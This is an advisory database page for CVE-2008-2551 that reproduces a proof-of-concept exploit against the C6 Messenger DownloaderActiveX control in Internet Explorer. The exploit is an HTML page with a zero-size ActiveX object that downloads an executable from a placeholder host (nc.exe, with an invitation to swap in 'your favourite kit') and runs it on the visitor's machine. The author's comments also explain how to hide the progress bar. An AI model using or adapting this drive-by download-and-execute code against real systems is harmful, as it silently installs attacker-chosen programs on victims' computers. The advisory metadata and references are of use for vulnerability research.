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Home arrow SecurityAlert Database

Arrow  Topic :

C6 Messenger Installation Url DownloaderActiveX Control Remote Download & Execute Exploit


Arrow  SecurityAlert : 3926
Arrow  CVE : CVE-2008-2551
Arrow  CWE : CWE-264
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : Yes
Arrow  Exploit Available : Yes
  ExploitAlert :   4024
Arrow  Credit : Nine:Situations:Group
Arrow  Published : 07.06.2008

Arrow  Affected Software : Icona, Instant_messenger, 1.0.0.1



Arrow  Advisory Content :  

<!--

C6 Messenger Installation Url DownloaderActiveX Control Remote Download

& Execute Exploit

by

Nine:Situations:Group::SnoopyAssault

site: http://retrogod.altervista.org/

exploit url: http://retrogod.altervista.org/9sg_c6_download_exec.html

"C6 Messenger is an instant messaging program produced by Telecom Italia
Group,

specifically by Alice (distribution), Icon Spa (development, design and
server)

and Opendoc (graphics). It is the only instant messenger entirely produced
in

Italy, is a free program, allows you to chat in real time with
friends[..]"

installation urls:

http://c6.community.alice.it/home/index.html

http://c6.community.alice.it/download/c6.html

Whoever accessed the second one with IE to install c6 IM is vulnerable to
this

threat. Notice that you can pass also local urls to "propDownloadUrl"
property

and bypass Internet zone, no host check is performed.

"propPostDownloadAction" one is used to launch the executable.

A progress bar is shown but you can easily make it not visible.

settings:

RegKey Safe for Script: False

RegKey Safe for Init: False

Implements IObjectSafety: True

IDisp Safe: Safe for untrusted: caller,data

IPersist Safe: Safe for untrusted: caller,data

info:

http://www.google.com/search?hl=en&q=c1b7e532-3ecb-4e9e-bb3a-2951ffe67c6
1&meta=&num=100&filter=0

Let me guess, this one is already exploited in the wild...

Thanks Mommy Telecom Italia!!

If you think this poc is useful, please help us to improve our equipment
and

donate through the paypal button on our site!

------------------------------------------------------------------------
--------

Goodbye rgod-tsid-pah he-ru-ka!

-->

<HTML>

<BODY>

<OBJECT ID="DownloaderActiveX1"

WIDTH="0"

HEIGHT="0"

CLASSID="CLSID:c1b7e532-3ecb-4e9e-bb3a-2951ffe67c61"

CODEBASE="DownloaderActiveX.cab#Version=1,0,0,1">

<PARAM NAME="propProgressBackground" VALUE="#bccee8">

<PARAM NAME="propTextBackground" VALUE="#f7f8fc">

<PARAM NAME="propBarColor" VALUE="#df0203">

<PARAM NAME="propTextColor" VALUE="#000000">

<PARAM NAME="propWidth" VALUE="0">

<PARAM NAME="propHeight" VALUE="0">

<PARAM NAME="propDownloadUrl" VALUE="http://yoursite.com/nc.exe"><!--
change to your favourite kit ! :) -->

<PARAM NAME="propPostDownloadAction" VALUE="run"> <!-- lol -->

<PARAM NAME="propInstallCompleteUrl" VALUE="">

<PARAM NAME="propBrowserRedirectUrl" VALUE="">

<PARAM NAME="propVerbose" VALUE="0">

<PARAM NAME="propInterrupt" VALUE="0">

</OBJECT>

</BODY>

</HTML>



Arrow  References :

http://securityreason.com/expldownload/1/4024/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/42825
http://www.securityfocus.com/archive/1/archive/1/493019/100/0/threaded
http://www.milw0rm.com/exploits/5732
http://www.frsirt.com/english/advisories/2008/1733/references
http://secunia.com/advisories/30512




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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